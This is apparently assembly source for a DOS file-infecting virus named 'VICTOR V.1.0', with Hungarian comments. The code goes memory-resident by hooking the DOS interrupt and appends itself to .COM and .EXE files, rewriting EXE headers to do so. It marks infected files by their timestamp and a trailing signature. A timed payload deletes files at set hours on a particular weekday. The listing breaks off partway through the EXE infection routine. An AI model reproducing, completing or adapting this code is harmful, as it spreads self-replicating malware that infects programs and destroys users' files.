2022-08-21 09:07:57 +00:00
|
|
|
|
;************************************************
|
|
|
|
|
|
;* *
|
|
|
|
|
|
;* VICTOR V.1.0 *
|
|
|
|
|
|
;* The incredible high performance virus *
|
|
|
|
|
|
;* Length #98A bytes *
|
|
|
|
|
|
;* *
|
|
|
|
|
|
;************************************************
|
|
|
|
|
|
;
|
|
|
|
|
|
; 6 = bunteto sys file's time
|
|
|
|
|
|
; 8 = bunteto sys file's date
|
|
|
|
|
|
; 3f = Loaded .EXE header E... offset SS
|
|
|
|
|
|
; 41 = value SP
|
|
|
|
|
|
; 43 = chksum
|
|
|
|
|
|
; 45 = value IP
|
|
|
|
|
|
; 47 = offset CS
|
|
|
|
|
|
; 49 = SS init addr (relative to 0)
|
|
|
|
|
|
; 4B = SP init addr
|
|
|
|
|
|
; 4F = .EXE start point ofs (relative to 0)
|
|
|
|
|
|
; 51 = .EXE start point seg
|
|
|
|
|
|
; 53 = .exe size$ - header length
|
|
|
|
|
|
; 59 = .EXE file logikai merete /felkerekitve egy $ al, $ hatar/
|
|
|
|
|
|
; 5B = --""--
|
|
|
|
|
|
; 5D = .exe size length mod 512
|
|
|
|
|
|
; 5F = .exe size length div 512
|
|
|
|
|
|
; 61 = Loaded .EXE header length $ mod 512
|
|
|
|
|
|
; 63 = PSP seg
|
|
|
|
|
|
; 65 = psp seg
|
|
|
|
|
|
; 72 = ido tarolohely hi=sec, lo=1/100 sec
|
|
|
|
|
|
; B 74 = jelzo a bunteto rendszerben talalt file 1=COM,0=EXE
|
|
|
|
|
|
; 75 = a bunteto rendszerben a talalt file attributuma
|
|
|
|
|
|
; 77 = DOS fatal error ofs
|
|
|
|
|
|
; 79 = DOS fatal error seg
|
|
|
|
|
|
; 7B = DTA ofs
|
|
|
|
|
|
; 7D = DTA seg
|
|
|
|
|
|
; 7F = PSP seg
|
|
|
|
|
|
; B 81 = A sajat file f9=.EXE/f8=.COM (default)
|
|
|
|
|
|
; 82 = INT_21 ofs
|
|
|
|
|
|
; 84 = INT_21 seg
|
|
|
|
|
|
; 86 = az FFFF funkciora dos-tol visszakapott ertek
|
|
|
|
|
|
; 88 = seg PSP:100 / PSP
|
|
|
|
|
|
; 8C = env-en beluli offset sajat nev
|
|
|
|
|
|
; 8E = SS save area
|
|
|
|
|
|
; 90 = SP save area
|
|
|
|
|
|
; 92
|
|
|
|
|
|
; | Parameter Block for Load
|
|
|
|
|
|
; 9E
|
|
|
|
|
|
; B A2 = INT_21 second
|
|
|
|
|
|
; B A3 = INT_21 minute
|
|
|
|
|
|
; A4 = INT_21 SS save
|
|
|
|
|
|
; A6 = INT_21 SP save
|
|
|
|
|
|
; A8 = flag 1=child process in action 0=foprocess
|
|
|
|
|
|
; A9 = INT_21 original AX
|
|
|
|
|
|
; B B1 = idopont flag Pentek 9,11,13,15 idopontokban 1 /0
|
|
|
|
|
|
; B B2 = day of week (0=sun ... 6=sat)
|
|
|
|
|
|
; B BA = f8 (default .COM file) f9=exe
|
|
|
|
|
|
;
|
|
|
|
|
|
XSEG SEGMENT
|
|
|
|
|
|
ASSUME CS:XSEG
|
|
|
|
|
|
XPROC PROC FAR
|
|
|
|
|
|
CALL L00B4 ;eloszor egy jmp x-el a virus indul el
|
|
|
|
|
|
db ?,?,? ;a program elso 3 byte-ja
|
|
|
|
|
|
db ? dup (?) ;adatterulet
|
|
|
|
|
|
L00B4: POP SI
|
|
|
|
|
|
SUB SI,3
|
|
|
|
|
|
CLI
|
|
|
|
|
|
CLD
|
|
|
|
|
|
CLC
|
|
|
|
|
|
JC L00EB
|
|
|
|
|
|
PUSH SI
|
|
|
|
|
|
ADD SI,3
|
|
|
|
|
|
CLD
|
|
|
|
|
|
MOV DI,100H ;restauracio
|
|
|
|
|
|
MOVSW
|
|
|
|
|
|
MOVSB
|
|
|
|
|
|
POP SI
|
|
|
|
|
|
MOV AX,CS
|
|
|
|
|
|
MOV BX,AX
|
|
|
|
|
|
MOV CL,4
|
|
|
|
|
|
SHR SI,CL
|
|
|
|
|
|
ADD AX,SI ;ax=virus kezdet szegmens
|
|
|
|
|
|
PUSH AX
|
|
|
|
|
|
MOV AX,0D8H
|
|
|
|
|
|
PUSH AX
|
|
|
|
|
|
DB 0CBH ;RETF
|
|
|
|
|
|
;cont...
|
|
|
|
|
|
MOV CS:[7FH],BX ;eredeti PSP addr
|
|
|
|
|
|
MOV CS:[63H],BX
|
|
|
|
|
|
MOV AX,CS
|
|
|
|
|
|
MOV DS,AX
|
|
|
|
|
|
MOV ES,AX ;atteres a virus szegmensre
|
|
|
|
|
|
JMP L010A
|
|
|
|
|
|
;L00EB:
|
|
|
|
|
|
; MOV CS:[0063H],DS
|
|
|
|
|
|
; MOV AX,CS
|
|
|
|
|
|
; MOV DS,AX
|
|
|
|
|
|
; MOV ES,AX
|
|
|
|
|
|
; MOV AX,WORD PTR DS:[0063H]
|
|
|
|
|
|
; ADD AX,0010H
|
|
|
|
|
|
; MOV WORD PTR DS:[0065H],AX
|
|
|
|
|
|
; MOV SI,003FH
|
|
|
|
|
|
; MOV DI,0049H
|
|
|
|
|
|
; MOV CX,0005H
|
|
|
|
|
|
; MOVSW
|
|
|
|
|
|
;
|
|
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
|
; A virus ellenorzi a DOS verziot, ha ez nem megfelelo _exec.
|
|
|
|
|
|
; Ha a virus meg nincs a memoriaban _copy0
|
|
|
|
|
|
; Ha mar bent van _exec
|
|
|
|
|
|
;
|
|
|
|
|
|
L010A: MOV AL,DS:[00BAH]
|
|
|
|
|
|
MOV DS:[0081H],AL
|
|
|
|
|
|
MOV AH,30H ;DOS version
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
CMP AL,3
|
|
|
|
|
|
JZ vers_ok
|
|
|
|
|
|
MOV CX,0FEC1H
|
|
|
|
|
|
MOV DS:[0086H],CX
|
|
|
|
|
|
JMP _exec
|
|
|
|
|
|
vers_ok:MOV AX,0FFFFH ;Mar a memoriaban van ?
|
|
|
|
|
|
MOV BX,0FF0H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
MOV DS:[0086H],CX
|
|
|
|
|
|
CMP CX,0FEC1H
|
|
|
|
|
|
JNZ _copy0
|
|
|
|
|
|
JMP _exec
|
|
|
|
|
|
;
|
|
|
|
|
|
; _copy0: a virus elhelyezese a memoriaban
|
|
|
|
|
|
;
|
|
|
|
|
|
; A virus meg nincs a memoriaban.
|
|
|
|
|
|
; Megkeresi a saja nevet a kesobbieknek es megnezi hogy sajat maga elerheto-e.
|
|
|
|
|
|
; A memoriablokkja elejere masolja a virust .COM, es .EXE file-oknak
|
|
|
|
|
|
; megfeleloen. Ezek utan _exec.
|
|
|
|
|
|
;
|
|
|
|
|
|
_copy0:
|
|
|
|
|
|
PUSH ES
|
|
|
|
|
|
MOV AX,DS:[063H] ;A program ENV-je
|
|
|
|
|
|
MOV ES,AX
|
|
|
|
|
|
MOV AX,ES:[02CH]
|
|
|
|
|
|
MOV DS:[8AH],AX
|
|
|
|
|
|
PUSH DS
|
|
|
|
|
|
MOV AX,DS:[8AH]
|
|
|
|
|
|
MOV DS,AX
|
|
|
|
|
|
MOV ES,AX
|
|
|
|
|
|
XOR DI,DI
|
|
|
|
|
|
MOV AL,1
|
|
|
|
|
|
MOV CX,01F4H
|
|
|
|
|
|
REPNE SCASB
|
|
|
|
|
|
INC DI
|
|
|
|
|
|
POP DS
|
|
|
|
|
|
POP ES
|
|
|
|
|
|
MOV DS:[8CH],DI ;Sajat fertozott programom neve
|
|
|
|
|
|
PUSH DS
|
|
|
|
|
|
MOV DX,DI
|
|
|
|
|
|
MOV AX,DS:[008AH]
|
|
|
|
|
|
MOV DS,AX
|
|
|
|
|
|
MOV AX,3D00H ;Open File = Sajat magam
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
POP DS
|
|
|
|
|
|
JNC L0175
|
|
|
|
|
|
MOV DS:[86H],0FEC1H
|
|
|
|
|
|
JMP _exec
|
|
|
|
|
|
L0175: MOV BX,AX ;Close File
|
|
|
|
|
|
MOV AH,3EH
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
CMP BYTE PTR DS:[081H],0F9H
|
|
|
|
|
|
JZ exe_file ;Az exe-t 0-ra kell masolni
|
|
|
|
|
|
MOV AX,DS:[007FH]
|
|
|
|
|
|
MOV DS:[0065],AX
|
|
|
|
|
|
MOV ES,AX
|
|
|
|
|
|
ADD AX,0010H
|
|
|
|
|
|
MOV WORD PTR DS:[0088H],AX ;ES=PSP:100
|
|
|
|
|
|
XOR SI,SI
|
|
|
|
|
|
MOV DI,0100H ;eddig a virus a mem vegen volt
|
|
|
|
|
|
MOV CX,098AH ;Atmasolja a virust PSP:100 ra
|
|
|
|
|
|
REP MOVSB
|
|
|
|
|
|
PUSH AX
|
|
|
|
|
|
MOV AX,01B7H
|
|
|
|
|
|
PUSH AX
|
|
|
|
|
|
DB 0CBH ;A vezerles a PSP:100 ban!!! to:1
|
|
|
|
|
|
;
|
|
|
|
|
|
; .EXE program eseten nem kell lehet 100H ra tenni.
|
|
|
|
|
|
;
|
|
|
|
|
|
exe_file:
|
|
|
|
|
|
MOV AX,DS:[0065H] ;normal psp:
|
|
|
|
|
|
MOV ES,AX
|
|
|
|
|
|
MOV DS:[0088H],AX
|
|
|
|
|
|
XOR SI,SI
|
|
|
|
|
|
XOR DI,DI
|
|
|
|
|
|
MOV CX,098AH ;A virus szegmensbol a psp: re
|
|
|
|
|
|
REP MOVSB ; atmasolja a virust.
|
|
|
|
|
|
PUSH AX
|
|
|
|
|
|
MOV AX,01B7H
|
|
|
|
|
|
PUSH AX
|
|
|
|
|
|
DB 0CBH; RETF
|
|
|
|
|
|
; cont from 1
|
|
|
|
|
|
;
|
|
|
|
|
|
; _exec: blow/install/run_original
|
|
|
|
|
|
;
|
|
|
|
|
|
; 1. Esetleges kartekonykodas.
|
|
|
|
|
|
; 2. a, Ha a virus mar a memoriaban van, lefuttatja az
|
|
|
|
|
|
; eredeti programot. /ez a tarban van, csupan a vezerlest kell raadni./
|
|
|
|
|
|
; b, Ha meg nincs a memoriaban, akkor atveszi a rendszertol
|
|
|
|
|
|
; a vezerlest. /ezutan barmilyen DOS fn-kerelmet ellenorizhet, vagy
|
|
|
|
|
|
; tetszese szerint hatasaban megvaltoztathat./ Ennel a megvalositasnal
|
|
|
|
|
|
; a virus felulirta a betoltott programot, hogy a memoriablokk tetejen
|
|
|
|
|
|
; lehessen. Igy kenytelen a dos program betolto-lefuttato funkciojat
|
|
|
|
|
|
; hasznalni, hogy lefuttassa a programot. A vezerlest visszakapva magat
|
|
|
|
|
|
; rezidensse teszi magat, es kilep a DOS-ba /KEEP funkcio./
|
|
|
|
|
|
;
|
|
|
|
|
|
; /a hasznalata elott szukseges _copy0, ha meg nem rezidens a virus./
|
|
|
|
|
|
;
|
|
|
|
|
|
;
|
|
|
|
|
|
MOV AX,CS ;cs=psp:100
|
|
|
|
|
|
MOV DS,AX
|
|
|
|
|
|
MOV ES,AX
|
|
|
|
|
|
MOV SS,AX
|
|
|
|
|
|
MOV SP,08F3H
|
|
|
|
|
|
_exec: MOV AH,2CH ;Get Time
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
MOV DS:[0072H],DX ;seconds/hundredths
|
|
|
|
|
|
MOV AH,2CH
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
MOV CL,DL
|
|
|
|
|
|
AND CL,0FH
|
|
|
|
|
|
ROL DS:[0072H],CL
|
|
|
|
|
|
TEST WORD PTR DS:[0072H],1 ;Veletlen esemeny
|
|
|
|
|
|
JE L01E2
|
|
|
|
|
|
JMP L01E5
|
|
|
|
|
|
L01E2: CALL _working ;???? kartekonykodhat...
|
|
|
|
|
|
L01E5: CMP WORD PTR DS:[86H],0FEC1H;Meg nincs installalva de _copy0 volt
|
|
|
|
|
|
JNZ _inst
|
|
|
|
|
|
JMP run_prg ;a program tarban van, ugorj ra!
|
|
|
|
|
|
_inst: MOV DX,DS:[0088H] ;seg(PSP:100) - PSP = 10
|
|
|
|
|
|
SUB DX,DS:[0065H]
|
|
|
|
|
|
MOV BX,098AH ;Virus length in paragraphs
|
|
|
|
|
|
MOV CL,04H
|
|
|
|
|
|
SHR BX,CL
|
|
|
|
|
|
INC BX
|
|
|
|
|
|
ADD DX,BX
|
|
|
|
|
|
ADD DX,10H
|
|
|
|
|
|
MOV DS:[00A0H],DX
|
|
|
|
|
|
PUSH ES
|
|
|
|
|
|
MOV ES,DS:[0063H] ;A sajat memoriablokkom merete csokken,
|
|
|
|
|
|
MOV BX,DS:[00A0H] ; pont annyi lesz, ahova befer a virus
|
|
|
|
|
|
MOV AX,4A00H ; PSP vel egyutt meg + $10
|
|
|
|
|
|
INT 21H ;/mivel bemasoltuk, ez ott van/
|
|
|
|
|
|
POP ES
|
|
|
|
|
|
PUSH ES
|
|
|
|
|
|
MOV AX,3521H ;Get INT_21 vector
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
MOV DS:[0082H],BX
|
|
|
|
|
|
MOV DS:[0084H],ES
|
|
|
|
|
|
POP ES
|
|
|
|
|
|
MOV DX,06B3H ;Set INT_21 vector
|
|
|
|
|
|
MOV AX,2521H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
MOV BYTE PTR DS:[00A8H],1 ;=child process flag
|
|
|
|
|
|
PUSH ES ;Prepare for Load/Exec self
|
|
|
|
|
|
PUSH DS
|
|
|
|
|
|
MOV DS:[008EH],SS
|
|
|
|
|
|
MOV DS:[0090H],SP
|
|
|
|
|
|
MOV AX,WORD PTR DS:[008AH] ;Az L/E egy uj memoriablokkot hoz
|
|
|
|
|
|
MOV WORD PTR DS:[0092H],AX ;letre /a virusprogram felett/
|
|
|
|
|
|
MOV AX,WORD PTR DS:[0063H] ;exitnel csak az altala lefoglalt
|
|
|
|
|
|
MOV WORD PTR DS:[0096H],AX ;blokk szabadul fel, a virus bent
|
|
|
|
|
|
MOV WORD PTR DS:[009AH],AX ;marad tovabbra is.
|
|
|
|
|
|
MOV WORD PTR DS:[009EH],AX
|
|
|
|
|
|
MOV BX,0092H
|
|
|
|
|
|
MOV DX,DS:[008CH]
|
|
|
|
|
|
MOV AX,WORD PTR DS:[008AH]
|
|
|
|
|
|
MOV DS,AX
|
|
|
|
|
|
MOV AX,4B00H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
MOV AX,WORD PTR CS:[008EH] ;A kilepeskor felszabadult a futtato
|
|
|
|
|
|
MOV SS,AX ;blokk, es visszakaptam a vezerlest.
|
|
|
|
|
|
MOV SP,CS:[0090H]
|
|
|
|
|
|
POP DS
|
|
|
|
|
|
POP ES
|
|
|
|
|
|
MOV BYTE PTR DS:[00A8H],0 ;Process flag
|
|
|
|
|
|
MOV DX,DS:[00A0H]
|
|
|
|
|
|
MOV AX,3100H ;Terminate process and remain resident
|
|
|
|
|
|
INT 21H ;(KEEP)
|
|
|
|
|
|
; Akkor hajtodik vegre, ha a virus mar bent van a memoriaban
|
|
|
|
|
|
run_prg:
|
|
|
|
|
|
CMP BYTE PTR CS:[81H],0F8H ;.COM program
|
|
|
|
|
|
JNZ run_exe
|
|
|
|
|
|
JMP run_com
|
|
|
|
|
|
run_exe:MOV DX,DS:[0065H] ;PSP
|
|
|
|
|
|
ADD DS:[0051H],DX ;Inditasi szegmens
|
|
|
|
|
|
MOV AX,WORD PTR DS:[0049H] ;SS relative
|
|
|
|
|
|
ADD AX,DX ;Setup Stack
|
|
|
|
|
|
MOV SS,AX
|
|
|
|
|
|
MOV SP,DS:[004BH]
|
|
|
|
|
|
MOV AX,WORD PTR DS:[0063H] ;Default PSP
|
|
|
|
|
|
MOV DS,AX
|
|
|
|
|
|
MOV ES,AX
|
|
|
|
|
|
STI
|
|
|
|
|
|
JMP DWORD PTR CS:[004FH] ;EXE Start point
|
|
|
|
|
|
; .COM program kornyezet beallitas, es lefuttatas PSP:100
|
|
|
|
|
|
run_com:MOV AX,WORD PTR DS:[007FH] ;Default PSP
|
|
|
|
|
|
MOV DS,AX
|
|
|
|
|
|
MOV ES,AX
|
|
|
|
|
|
STI
|
|
|
|
|
|
PUSH AX
|
|
|
|
|
|
MOV AX,0100H
|
|
|
|
|
|
PUSH AX
|
|
|
|
|
|
DB 0CBH; RETF
|
|
|
|
|
|
;
|
|
|
|
|
|
; Kartekony: letorol egy par file-t, vagy fertoz
|
|
|
|
|
|
;
|
|
|
|
|
|
_working:
|
|
|
|
|
|
MOV CX,DS:[0072H] ;Veletlen kezdoertek 1..4 ciklus
|
|
|
|
|
|
AND CX,3
|
|
|
|
|
|
INC CX
|
|
|
|
|
|
delet: PUSH CX
|
|
|
|
|
|
CALL L02C5
|
|
|
|
|
|
POP CX
|
|
|
|
|
|
LOOP delet
|
|
|
|
|
|
DB 0C3H; RET
|
|
|
|
|
|
;
|
|
|
|
|
|
L02C5: MOV AH,2AH ;Get Date
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
MOV DS:[00B2H],AL ;Day of Week
|
|
|
|
|
|
PUSH ES
|
|
|
|
|
|
MOV AH,2FH ;Get DTA
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
MOV DS:[007BH],BX
|
|
|
|
|
|
MOV DS:[007DH],ES
|
|
|
|
|
|
POP ES
|
|
|
|
|
|
MOV DX,0014H ;Set DTA
|
|
|
|
|
|
MOV AH,1AH
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
PUSH ES
|
|
|
|
|
|
MOV AX,3524H ;Get Dos Fatal Error vector
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
MOV DS:[0077H],BX
|
|
|
|
|
|
MOV DS:[0079H],ES
|
|
|
|
|
|
POP ES
|
|
|
|
|
|
MOV DX,00B3H
|
|
|
|
|
|
MOV AX,2524H ;Set Fatal Error to : IRET
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
MOV CX,0FFE3H
|
|
|
|
|
|
MOV DX,000AH ;Search for first :*.*
|
|
|
|
|
|
MOV AH,4EH
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNC _kezd
|
|
|
|
|
|
JMP io_err ; reset DTA, fatal error, RET
|
|
|
|
|
|
_kezd: MOV AH,2CH ;Set randomizer
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
MOV DS:[0072H],DX
|
|
|
|
|
|
MOV AH,2CH
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
MOV CL,DL
|
|
|
|
|
|
AND CL,0FH
|
|
|
|
|
|
ROL DS:[0072H],CL
|
|
|
|
|
|
MOV AH,2CH ;Get Time
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
XOR DS:[0072H],DX
|
|
|
|
|
|
MOV BYTE PTR DS:[00B1H],0 ;idopont-flag
|
|
|
|
|
|
CMP BYTE PTR DS:[00B2H],3 ;Milyen nap van?
|
|
|
|
|
|
JNZ no_date
|
|
|
|
|
|
CMP CH,9 ;Pentek 9h,11h,13h,15h-nal
|
|
|
|
|
|
JZ kill ; kimeletlenul letorol fileokat
|
|
|
|
|
|
CMP CH,0BH
|
|
|
|
|
|
JZ kill ;maskor neha megnezi hogy com/exe-e.
|
|
|
|
|
|
CMP CH,0DH
|
|
|
|
|
|
JZ kill
|
|
|
|
|
|
CMP CH,0FH
|
|
|
|
|
|
JNZ no_date
|
|
|
|
|
|
kill: MOV BYTE PTR DS:[00B1H],1 ;A datum megfelelo
|
|
|
|
|
|
no_date:TEST WORD PTR DS:[0072H],30H
|
|
|
|
|
|
JNZ _1
|
|
|
|
|
|
JMP d_next
|
|
|
|
|
|
_1: CMP BYTE PTR DS:[00B1H],1
|
|
|
|
|
|
JNZ look_run
|
|
|
|
|
|
MOV DX,0032H ;Megfelel az idopont, es sajnos...
|
|
|
|
|
|
MOV CX,0020H
|
|
|
|
|
|
MOV AX,4301H
|
|
|
|
|
|
INT 21H ;change file mode to normal
|
|
|
|
|
|
JNB _del
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_del: MOV DX,0032H ;UNLINK file
|
|
|
|
|
|
MOV AH,41H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
;
|
|
|
|
|
|
; Ha futtathato .COM v .EXE a talalt file akkor megfertozi ha meg nincs,
|
|
|
|
|
|
; egyebkent keres egy masik file-t. /1 lehetoseget ad/
|
|
|
|
|
|
;
|
|
|
|
|
|
look_run:
|
|
|
|
|
|
MOV DI,0032H ;A penteki kritikus idon kivul
|
|
|
|
|
|
XOR AL,AL ;akar fertozhet is
|
|
|
|
|
|
MOV CX,003FH
|
|
|
|
|
|
REPNE SCASB
|
|
|
|
|
|
SUB DI,+04H
|
|
|
|
|
|
MOV BP,DI
|
|
|
|
|
|
MOV SI,DI
|
|
|
|
|
|
MOV CX,0003H ;ez egy .COM volt ???
|
|
|
|
|
|
MOV DI,000EH
|
|
|
|
|
|
REPE CMPSB
|
|
|
|
|
|
JZ _dcom
|
|
|
|
|
|
MOV SI,BP
|
|
|
|
|
|
MOV CX,0003H ;vagy egy .EXE ???
|
|
|
|
|
|
MOV DI,0011H
|
|
|
|
|
|
CMPSB
|
|
|
|
|
|
JZ _dexe
|
|
|
|
|
|
JMP d_next ;nem futtathato file, ujat
|
|
|
|
|
|
_dcom: MOV BYTE PTR DS:[0074H],1
|
|
|
|
|
|
JMP _d
|
|
|
|
|
|
_dexe: MOV BYTE PTR DS:[0074H],0
|
|
|
|
|
|
_d: MOV DX,0032H ;Get file attr
|
|
|
|
|
|
MOV AX,4300H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB _2
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_2: MOV DS:[0075H],CX
|
|
|
|
|
|
MOV DX,0032H ;Set normal attr
|
|
|
|
|
|
MOV CX,0020H
|
|
|
|
|
|
MOV AX,4301H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNC L03CD
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
L03CD: MOV DX,0032H ;Open file
|
|
|
|
|
|
MOV AX,3D02H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB L03DA
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
L03DA: MOV BX,AX
|
|
|
|
|
|
MOV AX,5700H ;Get file date/time
|
|
|
|
|
|
INT 21H ;a fertozott fileok ideje oszthato 8-al
|
|
|
|
|
|
JNB _3
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_3: MOV DS:[0006H],CX
|
|
|
|
|
|
MOV DS:[0008H],DX
|
|
|
|
|
|
TEST CX,0007H
|
|
|
|
|
|
JZ dft_ok
|
|
|
|
|
|
JMP fertoz ;ha nem oszthato 8-al, nincs fertozve
|
|
|
|
|
|
dft_ok: TEST WORD PTR DS:[72H],43H ;meg bizonytalankodik
|
|
|
|
|
|
JZ d_mehet
|
|
|
|
|
|
JMP d_clnxt
|
|
|
|
|
|
d_mehet:MOV CX,0FFFFH ;LSEEK EOF - 6
|
|
|
|
|
|
MOV DX,0FFFAH
|
|
|
|
|
|
MOV AX,4202H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB dls_ok
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
dls_ok: MOV CX,0006H ;Read file's last 6 byte
|
|
|
|
|
|
MOV DX,00ABH
|
|
|
|
|
|
MOV AH,3FH
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNC drd_ok
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
drd_ok: MOV CX,0003H ;megegyezik valamivel
|
|
|
|
|
|
MOV SI,0984H ;/mar fertozott/
|
|
|
|
|
|
MOV DI,00ABH
|
|
|
|
|
|
REPE CMPSW
|
|
|
|
|
|
JZ d_clnxt
|
|
|
|
|
|
JMP fertoz
|
|
|
|
|
|
d_clnxt: ;Close and Next
|
|
|
|
|
|
MOV AH,3EH
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB d_attrs
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
dattrs: MOV CX,DS:[0075H] ;Reset attr
|
|
|
|
|
|
MOV DX,0032H
|
|
|
|
|
|
MOV AX,4301H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNC d_next
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
;
|
|
|
|
|
|
; Probal ujabb file-t keresni
|
|
|
|
|
|
;
|
|
|
|
|
|
d_next: TEST WORD PTR DS:[0072H],2CH ;meg egy lehetosege van
|
|
|
|
|
|
JNZ _dsnext
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_dsnext:MOV AH,4FH
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNC _dnxtok
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_dnxtok:JMP _kezd
|
|
|
|
|
|
;
|
|
|
|
|
|
; A fertozott file jellemzoi: /.COM v .EXE /
|
|
|
|
|
|
;
|
|
|
|
|
|
; Csak olyan file-okat fertoz meg melyek hossza nagyobb a virusenal.
|
|
|
|
|
|
; A tul nagy .COM fileokat nem bantja.
|
|
|
|
|
|
; File ido oszthato 8-al
|
|
|
|
|
|
; File vegen levo virus azonosito (6 byte ea80492502. )
|
|
|
|
|
|
;
|
|
|
|
|
|
fertoz: XOR CX,CX
|
|
|
|
|
|
XOR DX,DX
|
|
|
|
|
|
MOV AX,4202H ;LSEEK eof
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNC _4
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_4: AND DX,DX
|
|
|
|
|
|
JNZ d_selct
|
|
|
|
|
|
CMP AX,098AH ;csak a virusnal nagyobbak jok
|
|
|
|
|
|
JNC d_selct
|
|
|
|
|
|
JMP d_clnxt
|
|
|
|
|
|
d_selct:CMP BYTE PTR DS:[0074H],1
|
|
|
|
|
|
JNZ df_exe
|
|
|
|
|
|
JMP df_com
|
|
|
|
|
|
;
|
|
|
|
|
|
; .EXE file megfertozese
|
|
|
|
|
|
;
|
|
|
|
|
|
; 1. Beolvassa a File hosszat mod 512 (+2) es a tobbi informaciot
|
|
|
|
|
|
; 2. A file vegere /size felkerekitett $, $ hatar/ felirja a virus-testet
|
|
|
|
|
|
; 3. Kiszamitja a kod hosszat = eredeti_file_size$ - header_size ,
|
|
|
|
|
|
; es ez lesz erteke az uj +SS,+CS nek, IP=0.
|
|
|
|
|
|
; /az eredeti exe kod moge, pont a virusra mutat/
|
|
|
|
|
|
; 4. Felirja az uj Header informaciot.
|
|
|
|
|
|
; 5. Megallapitja az uj filehossz div,mod 512-t
|
|
|
|
|
|
; 6. Felirja a headerbe (+2)
|
|
|
|
|
|
; 7. Visszaallitja a file-idot (div 8) es a file attributumot
|
|
|
|
|
|
;
|
|
|
|
|
|
df_exe:
|
|
|
|
|
|
MOV BYTE PTR CS:[BAH],0F9H ;.EXE file
|
|
|
|
|
|
XOR CX,CX
|
|
|
|
|
|
MOV DX,0008H
|
|
|
|
|
|
MOV AX,4200H ;LSEEK 8: Size of header $
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB _5
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_5: MOV CX,0002H ;READ Size of header mod 512
|
|
|
|
|
|
MOV DX,0061H
|
|
|
|
|
|
MOV AH,3FH
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNC _6
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_6: XOR CX,CX ;LSEEK E: Offset of SS
|
|
|
|
|
|
MOV DX,000EH
|
|
|
|
|
|
MOV AX,4200H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNC _7
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_7: MOV CX,000AH ;Read header information
|
|
|
|
|
|
MOV DX,003FH
|
|
|
|
|
|
MOV AH,3FH
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNC _8
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_8: XOR CX,CX
|
|
|
|
|
|
XOR DX,DX
|
|
|
|
|
|
MOV AX,4202H ;LSEEK eof
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB _9
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_9: MOV CX,DX
|
|
|
|
|
|
MOV DX,AX ;a meret felkerekitve egy $-al
|
|
|
|
|
|
ADD DX,+10H ;mindig $ hatar
|
|
|
|
|
|
ADC CX,+00H
|
|
|
|
|
|
AND DX,-10H
|
|
|
|
|
|
MOV AX,4200H
|
|
|
|
|
|
INT 21H ;Elmegy a file vegere /maga szerint/
|
|
|
|
|
|
JNB _10
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_10: MOV DS:[005BH],DX
|
|
|
|
|
|
MOV DS:[0059H],AX
|
|
|
|
|
|
MOV CX,098AH
|
|
|
|
|
|
XOR DX,DX ;Felirja a virus-testet
|
|
|
|
|
|
MOV AH,40H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB L0501
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
L0501: CMP AX,CX
|
|
|
|
|
|
JE L0508
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
L0508: MOV DX,DS:[005BH] ;size HI max. 000x x=0..f hexad.
|
|
|
|
|
|
MOV CL,0CH
|
|
|
|
|
|
SHL DX,CL
|
|
|
|
|
|
MOV AX,DS:[0059H] ;size LO
|
|
|
|
|
|
MOV CL,04H
|
|
|
|
|
|
SHR AX,CL
|
|
|
|
|
|
OR DX,AX
|
|
|
|
|
|
SUB DX,DS:[0061H]
|
|
|
|
|
|
MOV DS:[005BH],DX ;size $ - header_length = code_length$
|
|
|
|
|
|
MOV DS:[0053H],DX
|
|
